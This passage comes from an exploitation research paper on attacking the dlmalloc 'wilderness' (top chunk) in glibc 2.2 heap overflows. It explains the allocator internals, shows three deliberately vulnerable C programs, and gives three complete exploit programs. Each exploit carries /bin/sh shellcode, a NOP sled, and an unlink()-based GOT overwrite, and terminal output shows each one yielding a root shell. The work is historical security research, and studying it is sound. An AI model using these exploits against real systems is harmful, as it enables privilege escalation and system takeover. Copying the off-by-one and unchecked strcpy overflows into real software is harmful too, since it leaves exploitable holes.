must be treated specially to ensure it always exists; it must be preserved. 

 

The wilderness is only used when a call to malloc() requests memory of 

a size that no other freed chunks can facilitate. If the wilderness is 

sufficiently large enough to handle the request it is split in to two, 

 one part being returned for the call to malloc(), and the other becoming 

the new wilderness. In the event that the wilderness is not large enough 

to handle the request, it is extended with sbrk() and split as described 

above. This behaviour means that the wilderness will always exist, and 

furthermore, its data section will never be used. This is called wilderness 

preservation and as such, the wilderness is treated as the last resort 

in allocating a chunk of memory [4]. 

 

Consider the following example: 

 

/* START wilderness.c */ 

#include <stdio.h> 



[9. Exploiting The Wilderness - Phantasmal Phantasmagoria] 

 

  Page 
290 

 
  

 

int main(int argc, char *argv[]) { 

        char *first, *second; 

 

        first = (char *) malloc(1020);          /* [A] */ 

        strcpy(first, argv[1]);                 /* [B] */ 

 

        second = (char *) malloc(1020);         /* [C] */ 

        strcpy(second, "polygoria!"); 

 

        printf("%p | %s\n", first, second); 

} 

/* END wilderness.c */ 

 

It can be logically deduced that since no previous calls to free() have 

been made our malloc() requests are going to be serviced by the existing 

wilderness chunk. The wilderness is split in two at [A], one chunk of 

1024 bytes (1020 + 4 for the size field) becomes the 'first' buffer, 

while the remaining space is used for the new wilderness. This same process 

happens again at [C]. 

 

Keep in mind that the prev_size field is not used by dlmalloc if the 

previous chunk is allocated, and in that situation can become part of 

the data of the previous chunk to decrease wastage. The wilderness chunk 

does not utilize prev_size (there is no possibility of the top chunk 

being consolidated) meaning it is included at the end of the 'first' 

buffer at [A] as part of its 1020 bytes of data. Again, the same applies 

to the 'second' buffer at [C]. 

 

The wilderness chunk being handled specially by the dlmalloc system led 

to Michel "MaXX" Kaempf stating in his 'Vudo malloc tricks' [2] article, 

 "The wilderness chunk is one of the most dangerous opponents of the 

attacker who tries to exploit heap mismanagement". It is this special 

handling of the wilderness that we will be manipulating in our exploits, 

 turning the dangerous opponent into, perhaps, an interesting conquest. 

 

- ------------------------------------ 

 

- ---- Exploiting the wilderness ----- 

 

- ---- Exploiting the wilderness with malloc() 

 

Looking at our sample code above we can see that a typical buffer overflow 

exists at [B]. However, in this situation we are unable to use the 

traditional 

unlink technique due to the overflowed buffer being contiguous to the 

wilderness and the lack of a relevant call to free(). This leaves us 

with the second call to malloc() at [C] - we will be exploiting the special 

code used to set up our 'second' buffer from the wilderness. 

 

Based on the knowledge that the 'first' buffer borders the wilderness, 

 it is clear that not only can we control the prev_size and size elements 

of the top chunk, but also a considerable amount of space after the chunk 

header. This space is the top chunk's unused data area and proves crucial 

in forming a successful exploit. 

 

Lets have a look at the important chunk_alloc() code called from our 

malloc() requests: 

 

   /* Try to use top chunk */ 

   /* Require that there be a remainder, ensuring top always exists */ 
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   if ((remainder_size = chunksize(top(ar_ptr)) - nb) 

                < (long)MINSIZE)                        /* [A] */ 

   { 

     ... 

     malloc_extend_top(ar_ptr, nb); 

     ... 

   } 

 

   victim = top(ar_ptr); 

   set_head(victim, nb | PREV_INUSE); 

   top(ar_ptr) = chunk_at_offset(victim, nb); 

   set_head(top(ar_ptr), remainder_size | PREV_INUSE); 

   return victim; 

 

This is the wilderness chunk code. It checks to see if the wilderness 

is large enough to service a request of nb bytes, then splits and recreates 

the top chunk as described above. If the wilderness is not large enough 

to hold the minimum size of a chunk (MINSIZE) after nb bytes are used, 

 the heap is extended using malloc_extend_top(): 

 

   mchunkptr old_top = top(ar_ptr); 

   INTERNAL_SIZE_T old_top_size = chunksize(old_top);   /* [B] */ 

   char *brk; 

   ... 

   char *old_end = (char*)(chunk_at_offset(old_top, old_top_size)); 

   ... 

   brk = sbrk(nb + MINSIZE);                            /* [C] */ 

   ... 

   if (brk == old_end) {                                /* [D] */ 

     ... 

     old_top = 0; 

   } 

   ... 

   /* Setup fencepost and free the old top chunk. */ 

   if(old_top) {                                        /* [E] */ 

     old_top_size -= MINSIZE; 

     set_head(chunk_at_offset(old_top, old_top_size + 2*SIZE_SZ), 

                0|PREV_INUSE); 

     if(old_top_size >= MINSIZE) {                      /* [F] */ 

       set_head(chunk_at_offset(old_top, old_top_size), 

                (2*SIZE_SZ)|PREV_INUSE); 

       set_foot(chunk_at_offset(old_top, old_top_size), (2*SIZE_SZ)); 

       set_head_size(old_top, old_top_size); 

       chunk_free(ar_ptr, old_top); 

     } else { 

       ... 

     } 

   } 

 

The above is a simplified version of malloc_extend_top() containing only 

the code we are interested in. We can see the wilderness being extended 

at [C] with the call to sbrk(), but more interesting is the chunk_free() 

request in the 'fencepost' code. 

 

A fencepost is a space of memory set up for checking purposes [5]. In 

the case of dlmalloc they are relatively unimportant, but the code above 

provides the crucial element in exploiting the wilderness with malloc(). 

The call to chunk_free() gives us a glimpse, a remote possibility, of 

using the unlink() macro in a nefarious way. As such, the chunk_free() 

call is looking very interesting. 
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However, there are a number of conditions that we have to meet in order 

to reach the chunk_free() call reliably. Firstly, we must ensure that 

the if statement at [A] returns true, forcing the wilderness to be 

extended. 

Once in malloc_extend_top(), we have to trigger the fencepost code at 

[E]. This can be done by avoiding the if statement at [D]. Finally, we 

must handle the inner if statement at [F] leading to the call to 

chunk_free(). 

One other problem arises in the form of the set_head() and set_foot() 

calls. These could potentially destroy important data in our attack, 

so we must include them in our list of things to be handled. That leaves 

us with four items to consider just in getting to the fencepost 

chunk_free() 

call. 

 

Fortunately, all of these issues can be solved with one solution. As 

discussed above, we can control the wilderness' chunk header, essentialy 

giving us control of the values returned from chunksize() at [A] and 

[B]. Our solution is to set the overflowed size field of the top chunk 

to a negative value. Lets look at why this works: 

 

      - A negative size field would trigger the first if statement 

        at [A]. This is because remainder_size is signed, and when 

        set to a negative number still evaluates to less than 

        MINSIZE. 

      - The altered size element would be used for old_top_size, 

        meaning the old_end pointer would appear somewhere other 

        than the actual end of the wilderness. This means the if 

        statement at [D] returns false and the fencepost code at 

        [E] is run. 

      - The old_top_size variable is unsigned and would appear to 

        be a large positive number when set to our negative size 

        field. This means the statement at [F] returns true, as 

        old_top_size evaluates to be much greater than MINSIZE. 

      - The potentially destructive chunk header modifying calls 

        would only corrupt unimportant padding within our 

        overflowed buffer as the negative old_top_size is used for 

        an offset. 

 

Finally, we can reach our call to chunk_free(). Lets look at the important 

bits: 

 

   INTERNAL_SIZE_T hd = p->size; 

   ... 

   if (!hd & PREV_INUSE))     /* consolidate backward */    /* [A] */ 

   { 

     prevsz = p->prev_size; 

     p = chunk_at_offset(p, -(long)prevsz);                 /* [B] */ 

     sz += prevsz; 

 

     if (p->fd == last_remainder(ar_ptr)) 

       islr = 1; 

     else 

       unlink(p, bck, fwd); 

   } 

 

The call to chunk_free() is made on old_top (our overflowed wilderness) 

meaning we can control p->prev_size and p->size. Backward consolidation 

is normally used to merge two free chunks together, but we will be using 

it to trigger the unlink() bug. 
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Firstly, we need to ensure the backward consolidation code is run at 

[A]. As we can control p->size, we can trigger backward consolidation 

simply by clearing the overflowed size element's PREV_INUSE bit. From 

here, it is p->prev_size that becomes important. As mentioned above, 

p->prev_size is actually part of the buffer we're overflowing. 

 

Exploiting dlmalloc by using backwards consolidation was briefly considered 

in the article 'Once upon a free()' [3]. The author suggests that it 

is possible to create a 'fake chunk' within the overflowed buffer - that 

is, a fake chunk relatively negative to the overflowed chunk header. 

This would require setting p->prev_size to a small positive number which 

in turn gets complemented in to its negative counterpart at [B] 

(digression: 

please excuse my stylistic habit of replacing the more technically correct 

"two's complement" with "complement"). However, such a small positive 

number would likely contain NULL terminating bytes, effectively ending 

our payload before the rest of the overflow is complete. 

 

This leaves us with one other choice; creating a fake chunk relatively 

positive to the start of the wilderness. This can be achieved by setting 

p->prev_size to a small negative number, turned in to a small positive 

number at [B]. This would require the specially crafted forward and back 

pointers to be situated at the start of the wilderness' unused data area, 

 just after the chunk header. Similar to the overflowed size variable 

discussed above, this is convinient as the negative number need not contain 

NULL bytes, allowing us to continue the payload into the data area. 

 

For the sake of the exploit, lets go with a prev_size of -4 or 0xfffffffc 

and an overflowed size of -16 or 0xfffffff0. Clearly, our prev_size will 

get turned into an offset of 4, essentialy passing the point 4 bytes 

past the start of the wilderness (the start being the prev_size element 

itself) to the unlink() macro. This means that our fake fwd pointer will 

be at the wilderness + 12 bytes and our bck pointer at the wilderness 

+ 16 bytes. An overflowed size of -16 places the chunk header modifying 

calls safely into our padding, while still satisfying all of our other 

requirements. Our payload will look like this: 

 

|...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPPPP|SSSSWWWWFFFFBBBBWWWWWWWW...| 

 

A = Target buffer that we control. Some of this will be trashed by 

    the chunk header modifying calls, important when considering 

    shellcode placement. 

P = The prev_size element of the wilderness chunk. This is part of 

    our target buffer. We set it to -4. 

S = The overflowed size element of the wilderness chunk. We set it 

    to -16. 

W = Unimportant parts of the wilderness. 

F = The fwd pointer for the call to unlink(). We set it to the 

    target return location - 12. 

B = The bck pointer for the call to unlink(). We set it to the 

    return address. 

 

We're now ready to write our exploit for the vulnerable code discussed 

above. Keep in mind that a malloc request for 1020 is padded up to 1024 

to contain room for the size field, so we are exactly contiguous to the 

wilderness. 

 

$ gcc -o wilderness wilderness.c 

$ objdump -R wilderness | grep printf 

08049650 R_386_JUMP_SLOT   printf 

$ ./wilderness 123 
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0x8049680 | polygoria! 

 

/* START exploit.c */ 

#include <string.h> 

#include <stdlib.h> 

#include <unistd.h> 

 

#define RETLOC  0x08049650 /* GOT entry for printf */ 

#define RETADDR 0x08049680 /* start of 'first' buffer data */ 

 

char shellcode[] = 

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 

        "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

 

int main(int argc, char *argv[]) { 

        char *p, *payload = (char *) malloc(1052); 

 

        p = payload; 

        memset(p, '\x90', 1052); 

 

        /* Jump 12 ahead over the trashed word from unlink() */ 

        memcpy(p, "\xeb\x0c", 2); 

 

        /* We put the shellcode safely away from the possibly 

         * corrupted area */ 

        p += 1020 - 64 - sizeof(shellcode); 

        memcpy(p, shellcode, sizeof(shellcode) - 1); 

 

        /* Set up the prev_size and overflow size fields */ 

        p += sizeof(shellcode) + 64 - 4; 

        *(long *) p = -4; 

        p += 4; 

        *(long *) p = -16; 

 

        /* Set up the fwd and bck of the fake chunk */ 

        p += 8; 

        *(long *) p = RETLOC - 12; 

        p += 4; 

        *(long *) p = RETADDR; 

 

        p += 4; 

        *(p) = '\0'; 

 

        execl("./wilderness", "./wilderness", payload, NULL); 

} 

/* END exploit.c */ 

 

$ gcc -o exploit exploit.c 

$ ./exploit 

sh-2.05a# 

 

- ---- Exploiting the wilderness with an off-by-one 

 

Lets modify our original vulnerable code to contain an off-by-one 

condition: 

 

/* START wilderness2.c */ 

#include <stdio.h> 

 

int main(int argc, char *argv[]) { 
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        char *first, *second; 

        int x; 

 

        first = (char *) malloc(1020); 

 

        for(x = 0; x <= 1020 && argv[1][x] != '\0'; x++)    /* [A] */ 

                first[x] = argv[1][x]; 

 

        second = (char *) malloc(2020);                     /* [B] */ 

        strcpy(second, "polygoria!"); 

 

        printf("%p %p | %s\n", first, argv[1], second); 

} 

/* END wilderness2.c */ 

 

Looking at this sample code we can see the off-by-one error occuring 

at [A]. The loop copies 1021 bytes of argv[1] into a buffer, 'first', 

 allocated only 1020 bytes. As the 'first' buffer was split off the top 

chunk in its allocation, it is exactly contiguous to the wilderness. 

This means that our one byte overflow destroys the least significant 

byte of the top chunk's size field. 

 

When exploiting off-by-one conditions involving the wilderness we will 

use a similar technique to that discussed above in the malloc() section; 

we want to trigger malloc_extend_top() in the second call to malloc() 

and use the fencepost code to cause an unlink() to occur. However, there 

are a couple of important issues that arise further to those discussed 

above. 

 

The first new problem is found in trying to trigger malloc_extend_top() 

from the wilderness code in chunk_alloc(). In order to force the heap 

to extend the size of the wilderness minus the size of our second request 

(2020) needs to be less than 16. When we controlled the entire size field 

in the section above this was not a problem as we could easily set a 

value less than 16, but since we can only control the least significant 

byte of the wilderness' size field we can only decrease the size by a 

limited amount. This means that in some situations where the wilderness 

is too big we cannot trigger the heap extension code. Fortunately, it 

is common in real world situations to have some sort of control over 

the size of the wilderness through attacker induced calls to malloc(). 

 

Assuming that our larger second request to malloc() will attempt to extend 

the heap, we now have to address the other steps in running the fencepost 

chunk_free() call. We know that we can comfortably reach the fencepost 

code as we are modifying the size element of the wilderness. The inner 

if statement leading to the chunk_free() is usually triggered as either 

our old_top_size is greater than 16, or the wilderness' size is small 

enough that controlling the least significant byte is enough to make 

old_top_size wrap around when MINSIZE is subtracted from it. Finally, 

 the chunk header modifying calls are unimportant, so long as they occur 

in allocated memory as to avoid a premature segfault. The reason for 

this will become clear in a short while. All we have left to do is to 

ensure that the PREV_INUSE bit is cleared for backwards consolidation 

at the chunk_free(). This is made trivial by our control of the size 

field. 

 

Once again, as we reach the backward consolidation code it is the prev_size 

field that becomes important. We have already determined that we have 

to use a negative prev_size value to ensure our payload is not terminated 

by stray NULL bytes. The negative prev_size field causes the backward 

consolidation chunk_at_offset() call to use a positive offset from the 
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start of the wilderness. However, unlike the above situation we do not 

control any of the wilderness after the overflowed least significant 

byte of the size field. Knowing that we can only go forward in memory 

at the consolidation and that we don't have any leverage on the heap, 

 we have to shift our attention to the stack. 

 

The stack may initally seem to be an unlikely factor when considering 

a heap overflow, but in our case where we can only increase the values 

passed to unlink() it becomes quite convinient, especially in a local 

context. Stack addresses are much higher in memory than their heap 

counterparts 

and by correctly setting the prev_size field of the wilderness, we can 

force an unlink() to occur somewhere on the stack. That somewhere will 

be our payload as it sits in argv[1]. Using this heap-to-stack unlink() 

technique any possible corruption of our payload in the heap by the chunk 

header modifying calls is inconsequential to our exploit; the heap is 

only important in triggering the actual overflow, the values for unlink() 

and the execution of our shellcode can be handled on the stack. 

 

The correct prev_size value can be easily calculated when exploiting 

a local vulnerability. We can discover the address of both argv[1] and 

the 'first' buffer by simulating our payload and using the output of 

running the vulnerable program. We also know that our prev_size will 

be complemented into a positive offset from the start of the wilderness. 

To reach argv[1] at the chunk_at_offset() call we merely have to subtract 

the address of the start of the wilderness (the end of the 'first' buffer 

minus 4 for prev_size) from the address of argv[1], then complement the 

result. This leaves us with the following payload: 

 

|FFFFBBBBDDDDDDDDD...DDDDDDDDPPPP|SWWWWWWWWWWW...| 

 

F = The fwd pointer for the call to unlink(). We set it to the 

    target return location - 12. 

B = The bck pointer for the call to unlink(). We set it to the 

    return address. 

D = Shellcode and NOP padding, where we will return in argv[1]. 

S = The overflowed byte in the size field of the wilderness. We set 

    it to the lowest possible value that still clears PREV_INUSE, 2. 

W = Unimportant parts of the wilderness. 

 

$ gcc -o wilderness2 wilderness2.c 

$ objdump -R wilderness2 | grep printf 

08049684 R_386_JUMP_SLOT    printf 

 

/* START exploit2.c */ 

#include <string.h> 

#include <stdlib.h> 

#include <unistd.h> 

 

#define RETLOC 0x08049684 /* GOT entry for printf */ 

#define ARGV1 0x01020304 /* start of argv[1], handled later */ 

#define FIRST 0x04030201 /* start of 'first', also handled later */ 

 

char shellcode[] = 

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 

        "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

 

int main(int argc, char *argv[]) { 

        char *p, *payload = (char *) malloc(1028); 

        long prev_size; 
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        p = payload; 

        memset(p, '\x90', 1028); 

        *(p + 1021) = '\0'; 

 

        /* Set the fwd and bck for the call to unlink() */ 

        *(long *) p = RETLOC - 12; 

        p += 4; 

        *(long *) p = ARGV1 + 8; 

        p += 4; 

 

        /* Jump 12 ahead over the trashed word from unlink() */ 

        memcpy(p, "\xeb\x0c", 2); 

 

        /* Put shellcode at end of NOP sled */ 

        p += 1012 - 4 - sizeof(shellcode); 

        memcpy(p, shellcode, sizeof(shellcode) - 1); 

 

        /* Set up the special prev_size field. We actually want to 

         * end up pointing to 8 bytes before argv[1] to ensure the 

         * fwd and bck are hit right, so we add 8 before 

         * complementing. */ 

        prev_size = -(ARGV1 - (FIRST + 1016)) + 8; 

        p += sizeof(shellcode); 

        *(long *) p = prev_size; 

 

        /* Allow for a test condition that will not segfault the 

         * target when getting the address of argv[1] and 'first'. 

         * With 0xff malloc_extend_top() returns early due to error 

         * checking. 0x02 is used to trigger the actual overflow. */ 

        p += 4; 

        if(argc > 1) 

                *(char *) p = 0xff; 

        else 

                *(char *) p = 0x02; 

 

        execl("./wilderness2", "./wilderness2", payload, NULL); 

} 

/* END exploit2.c */ 

 

$ gcc -o exploit2 exploit2.c 

$ ./exploit2 test 

0x80496b0 0xbffffac9 | polygoria! 

$ cat > diffex 

6,7c6,7 

< #define ARGV1 0x01020304 /* start of argv[1], handled later */ 

< #define FIRST 0x04030201 /* start of 'first', also handled later */ 

- --- 

#define ARGV1 0xbffffac9 /* start of argv[1] */ 

#define FIRST 0x080496b0 /* start of 'first' */ 

$ patch exploit2.c diffex 

patching file exploit2.c 

$ gcc -o exploit2 exploit2.c 

$ ./exploit2 

sh-2.05a# 

 

- ------------------------------------ 

 

- ---- The wilderness and free() ----- 

 

Lets now consider the following example: 
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/* START wilderness3a.c */ 

#include <stdio.h> 

 

int main(int argc, char *argv[]) { 

        char *first, *second; 

 

        first = (char *) malloc(1020); 

        strcpy(first, argv[1]); 

        free(first); 

 

        second = (char *) malloc(1020); 

} 

/* END wilderness3a.c */ 

 

Unfortunately, this situation does not appear to be exploitable. When 

exploiting the wilderness calls to free() are your worst enemy. This 

is because chunk_free() handles situations directly involving the 

wilderness 

with different code to the normal backward or forward consolidation. 

Although this special 'top' code has its weaknesses, it does not seem 

possible to either directly exploit the call to free(), nor survive it 

in a way possible to exploit the following call to malloc(). For those 

interested, lets have a quick look at why: 

 

   INTERNAL_SIZE_T hd = p->size; 

   INTERNAL_SIZE_T sz; 

   ... 

   mchunkptr next; 

   INTERNAL_SIZE_T nextsz; 

   ... 

 

   sz = hd & ~PREV_INUSE; 

   next = chunk_at_offset(p, sz); 

   nextsz = chunksize(next);                    /* [A] */ 

 

   if (next == top(ar_ptr)) 

   { 

     sz += nextsz;                              /* [B] */ 

 

     if (!(hd & PREV_INUSE))                    /* [C] */ 

     { 

       ... 

     } 

 

     set_head(p, sz | PREV_INUSE);              /* [D] */ 

     top(ar_ptr) = p; 

     ... 

   } 

 

Here we see the code from chunk_free() used to handle requests involving 

the wilderness. Note that the backward consolidation within the 'top' 

code at [C] is uninteresting as we do not control the needed prev_size 

element. This leaves us with the hope of using the following call to 

malloc() as described above. 

 

In this situation we control the value of nextsz at [A]. We can see that 

the chunk being freed is consolidated with the wilderness. We can control 

the new wilderness' size as it is adjusted with our nextsz at [B], but 

unfortunately, the PREV_INUSE bit is set at the call to set_head() at 

[D]. The reason this is a bad thing becomes clear when considering the 
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possibilites of using backward consolidation in any future calls to 

malloc(); 

the PREV_INUSE bit needs to be cleared. 

 

Keeping with the idea of exploiting the following call to malloc() using 

the fencepost code, there are a few other options - all of which appear 

to be impossible. Firstly, forward consolidation. This is made unlikely 

by the fencepost chunk header modifying calls discussed above, as they 

usually ensure that the test for forward consolidation will fail. The 

frontlink() macro has been discussed [2] as another possible method of 

exploiting dlmalloc, but since we do not control any of the traversed 

chunks this technique is uninteresting. The final option was to use the 

fencepost chunk header modifying calls to partially overwrite a GOT entry 

to point into an area of memory we control. Unfortunately, all of these 

modifying calls are aligned, and there doesn't seem to be anything else 

we can do with the values we can write. 

 

Now that we have determined what is impossible, lets have a look at what 

we can do when involving the wilderness and free(): 

 

/* START wilderness3b.c */ 

#include <stdio.h> 

 

int main(int argc, char *argv[]) { 

        char *first, *second; 

 

        first = (char *) malloc(1020); 

        second = (char *) malloc(1020); 

        strcpy(second, argv[1]);                /* [A] */ 

        free(first);                            /* [B] */ 

        free(second); 

} 

/* END wilderness3b.c */ 

 

The general aim of this contrived example is to avoid the special 'top' 

code discussed above. The wilderness can be overflowed at [A], but this 

is directly followed by a call to free(). Fortunately, the chunk to be 

freed is not bordering the wilderness, and thus the 'top' code is not 

invoked. To exploit this we will be using forward consolidation at [B], 

 the first call to free(). 

 

   /* consolidate forward */ 

   if (!(inuse_bit_at_offset(next, nextsz))) 

   { 

     sz += nextsz; 

 

     if (!islr && next->fd == last_remainder(ar_ptr)) { 

       ... 

     } 

     else 

       unlink(next, bck, fwd); 

 

     next = chunk_at_offset(p, sz); 

   } 

 

At the first call to free() 'next' points to our 'second' buffer. This 

means that the test for forward consolidation looks at the size value 

of the wilderness. To trigger the unlink() on our 'next' buffer we need 

to overflow the wilderness' size field to clear the PREV_INUSE bit. Our 

payload will look like this: 
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|FFFFBBBBDDDDDDDD...DDDDDDDD|SSSSWWWWWWWWWWWWWWWW...| 

 

F = The fwd pointer for the call to unlink(). We set it to the 

    target return location - 12. 

B = The bck pointer for the call to unlink(). We set it to the 

    return address. 

D = Shellcode and NOP padding, where we will return. 

S = The overflowed size field of the wilderness chunk. A value 

    of -4 will do. 

W = Unimportant parts of the wilderness. 

 

We're now ready for an exploit. 

 

$ gcc -o wilderness3b wilderness3b.c 

$ objdump -R wilderness3b | grep free 

0804962c R_386_JUMP_SLOT   free 

$ ltrace ./wilderness3b 1986 2>&1 | grep malloc | tail -n 1 

malloc(1020)                                       = 0x08049a58 

 

/* START exploit3b.c */ 

#include <string.h> 

#include <stdlib.h> 

#include <unistd.h> 

 

#define RETLOC  0x0804962c /* GOT entry for free */ 

#define RETADDR 0x08049a58 /* start of 'second' buffer data */ 

 

char shellcode[] = 

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 

        "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

 

int main(int argc, char *argv[]) { 

        char *p, *payload = (char *) malloc(1052); 

 

        p = payload; 

        memset(p, '\x90', 1052); 

 

        /* Set up the fwd and bck pointers to be unlink()'d */ 

        *(long *) p = RETLOC - 12; 

        p += 4; 

        *(long *) p = RETADDR + 8; 

        p += 4; 

 

        /* Jump 12 ahead over the trashed word from unlink() */ 

        memcpy(p, "\xeb\x0c", 2); 

 

        /* Position shellcode safely at end of NOP sled */ 

        p += 1020 - 8 - sizeof(shellcode) - 32; 

        memcpy(p, shellcode, sizeof(shellcode) - 1); 

 

        p += sizeof(shellcode) + 32; 

        *(long *) p = -4; 

 

        p += 4; 

        *(p) = '\0'; 

 

        execl("./wilderness3b", "./wilderness3b", payload, NULL); 

} 

/* END exploit3b.c */ 
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$ gcc -o exploit3b exploit3b.c 

$ ./exploit3b 

sh-2.05a# 

 

- ------------------------------------ 

 

- ---- A word on glibc 2.3 ----------- 

 

Although exploiting our examples on a glibc 2.3 system would be an 

interesting 

activity it does not appear possible to utilize the techniques described 

above. Specifically, although the fencepost code exists on both platforms, 

 the situations surrounding them are vastly different. 

 

For those genuinely interested in a more detailed explanation of the 

difficulties involving the fencepost code on glibc 2.3, feel free to 

contact me. 

 

- ------------------------------------ 

 

- ---- Final thoughts ---------------- 

 

For an overflow involving the wilderness to exist on a glibc 2.2 platform 

might seem a rare or esoteric occurance. However, the research presented 

above was not prompted by divine inspiration, but in response to a tangible 

need. Thus it was not so much important substance that inclined me to 

release this paper, but rather the hope that obscure substance might 

be reused for some creative good by another. 

 

- ------------------------------------ 
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